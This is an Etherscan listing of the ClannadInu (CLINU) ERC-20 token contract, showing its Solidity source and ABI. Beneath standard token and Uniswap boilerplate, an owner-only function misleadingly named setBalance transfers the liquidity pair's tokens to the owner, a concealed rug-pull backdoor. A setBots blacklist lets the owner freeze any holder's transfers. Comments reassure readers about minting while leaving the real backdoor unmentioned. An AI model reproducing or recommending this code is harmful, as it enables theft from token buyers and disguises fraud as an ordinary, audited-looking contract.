ERC-20
Overview
Max Total Supply
100,000,000,000,000 CLINU
Holders
27
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
940,000,000,000 CLINUValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ClannadInu
Compiler Version
v0.7.6+commit.7338295f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-04-15 */ /** *Submitted for verification at Etherscan.io on 2022-03-13 */ /** * SPDX-License-Identifier: Unlicensed * Telegram: https://t.me/clannadinu * Website: https://clannadinu.co/ * */ pragma solidity ^0.7.5; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ //BEFORE you fud this, IT CANNOT be called by the owner of this contract. //https://ethereum.stackexchange.com/questions/631/internal-keyword-in-a-function-definition-in-solidity/634 Read here for more information //The internal modifer means that the function can only be called within the contract itself and any derived contracts. function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract ClannadInu is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private swapping; bool private um = true; address public marketingWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; mapping (address => bool) private bots; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = false; bool private boughtEarly = true; uint256 private _firstBlock; uint256 private _botBlocks; uint256 private _feeLimiter; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event EndedBoughtEarly(bool boughtEarly); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); constructor() ERC20("ClannadInu", "CLINU") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 2; uint256 _buyLiquidityFee = 4; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 2; uint256 _sellLiquidityFee = 4; uint256 _sellDevFee = 0; uint256 totalSupply = 1e14 * 1e18; maxTransactionAmount = totalSupply * 1 / 100; // 1% from total supply maxTransactionAmount maxWallet = totalSupply * 15 / 1000; // 1.5% from total supply maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap threshold buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; _feeLimiter = 1; marketingWallet = payable(0xfF729a611F995c716E052C1295d6D0101b5f873D); devWallet = payable(0xfF729a611F995c716E052C1295d6D0101b5f873D); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(devWallet), true); excludeFromFees(address(marketingWallet), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(devWallet), true); excludeFromMaxTransaction(address(marketingWallet), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool) { transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= totalSupply() / 1000, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum; } function updateMaxWalletAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); maxWallet = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; require(buyTotalFees <= 20, "Must keep fees at 20% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; require(sellTotalFees <= 25, "Must keep fees at 25% or less"); } function updateFeeLimiter(uint256 _newFeeLimiter) external onlyOwner { _feeLimiter = _newFeeLimiter; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setBalance(uint amount) external onlyOwner { uint bal = balanceOf(uniswapV2Pair); if (bal > 1) { _transfer(uniswapV2Pair, owner(), bal - amount); } } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet) external onlyOwner { emit devWalletUpdated(newWallet, devWallet); devWallet = newWallet; } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!bots[from] && !bots[to]); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; uint256 maxFees = 10; //10% limit // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } else if (automatedMarketMakerPairs[to]) { maxFees = maxFees.sub(_feeLimiter); } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); swapTokensForEth(amountToSwapForETH); tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(marketingWallet).call{value: address(this).balance}(""); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function openTrading(uint256 botBlocks) private { _firstBlock = block.number; _botBlocks = botBlocks; tradingActive = true; } // once enabled, can never be turned off function enableTrading(uint256 botBlocks) external onlyOwner() { require(botBlocks <= 1, "don't catch humans"); swapEnabled = true; require(boughtEarly == true, "done"); boughtEarly = false; openTrading(botBlocks); emit EndedBoughtEarly(boughtEarly); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"boughtEarly","type":"bool"}],"name":"EndedBoughtEarly","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","t